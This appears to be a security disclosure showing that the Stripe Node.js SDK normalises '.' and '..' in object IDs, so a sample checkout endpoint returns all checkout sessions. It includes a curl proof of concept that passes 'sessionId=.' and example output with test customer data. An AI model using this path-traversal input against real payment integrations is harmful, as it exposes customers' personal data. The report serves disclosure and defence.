It is possible to use .
and ..
as identifier in all API methods, which leads to calling the parent api method.
Next, I will describe the problem using checkout sessions as an example, because it is the most basic one. However, other methods are also vulnerable to this problem.
For example, using .
as checkout session id in Retrieve a Session method leads to call List all Checkout Sessions method.
The problem arises because the Node.js http implementation automatically normalizes the path, so request https://api.stripe.com/v1/checkout/sessions/.
will normalize to https://api.stripe.com/v1/checkout/sessions/
.
I checked other SDKs and it looks like the problem is only in the Node.js SDK.
For ease of reproduction, let’s create a project using accept-a-payment sample template.
STRIPE_SECRET_KEY
docker run --rm -it -v $(pwd):/samples -w /samples stripe/stripe-cli:latest samples create accept-a-payment
prebuilt-checkout-page
integration, html
client and node
server..env
file in accept-a-payment/server
directory with contents:```
STRIPE_SECRET_KEY=xxx
STATIC_DIR=/app/client
DOMAIN=http://localhost:4242
```
run -it --rm -v $(pwd)/accept-a-payment:/app -w /app/server -p 4242:4242 node bash
npm install
node server.js
http://localhost:4242
curl "http://localhost:4242/checkout-session?sessionId=." | jq
(this request does not require any authentication and returns PII of all successful payments).Example output:
{
"object": "list",
"data": [
{
"id": "cs_test_a14L46PUF4tbXhcFrVU4Zv42kBQD2Hw5TIR6XdNHPJFckllG1Un4MztwlF",
"object": "checkout.session",
"after_expiration": null,
"allow_promotion_codes": null,
"amount_subtotal": 500,
"amount_total": 500,
"automatic_tax": {
"enabled": false,
"status": null
},
"billing_address_collection": null,
"cancel_url": "http://localhost:4242/canceled.html",
"client_reference_id": null,
"consent": null,
"consent_collection": null,
"currency": "usd",
"customer": "cus_LiJwdI9LfI4c9k",
"customer_creation": "always",
"customer_details": {
"address": {
"city": null,
"country": "RU",
"line1": null,
"line2": null,
"postal_code": null,
"state": null
},
"email": "[email protected]",
"name": "BB Tester",
"phone": null,
"tax_exempt": "none",
"tax_ids": []
}
"customer_email": null,
"expires_at": 1652991126,
"livemode": false,
"locale": null,
"metadata": {
},
"mode": "payment",
"payment_intent": "pi_3L0tE3DrJVF2EnNj1zw13o1n",
"payment_link": null,
"payment_method_options": {
},
"payment_method_types": [
"card"
],
"payment_status": "paid",
"phone_number_collection": {
"enabled": false
},
"recovered_from": null,
"setup_intent": null,
"shipping": null,
"shipping_address_collection": null,
"shipping_options": [
],
"shipping_rate": null,
"status": "complete",
"submit_type": null,
"subscription": null,
"success_url": "http://localhost:4242/success.html?session_id={CHECKOUT_SESSION_ID}",
"total_details": {
"amount_discount": 0,
"amount_shipping": 0,
"amount_tax": 0
},
"url": null
}
],
"has_more": false,
"url": "/v1/checkout/sessions"
}
In my example, only one session is returned, but in reality all current user sessions will be returned there.
I understand that this is only sample code and there may be more reliable implementations in production. However, such a sample code is usually used as a reference and I think that protection against this kind of attacks should be at the SDK level.
The attacker can periodically call this method and grab PII, such as user’s email address, name and address.